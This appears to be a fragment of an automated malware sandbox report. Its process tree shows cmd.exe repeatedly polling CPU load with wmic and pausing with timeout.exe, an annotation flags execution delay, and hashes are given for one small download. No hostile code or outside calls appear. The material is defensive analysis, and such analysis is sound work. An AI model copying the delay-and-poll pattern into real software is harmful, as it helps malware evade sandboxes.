C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5008
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82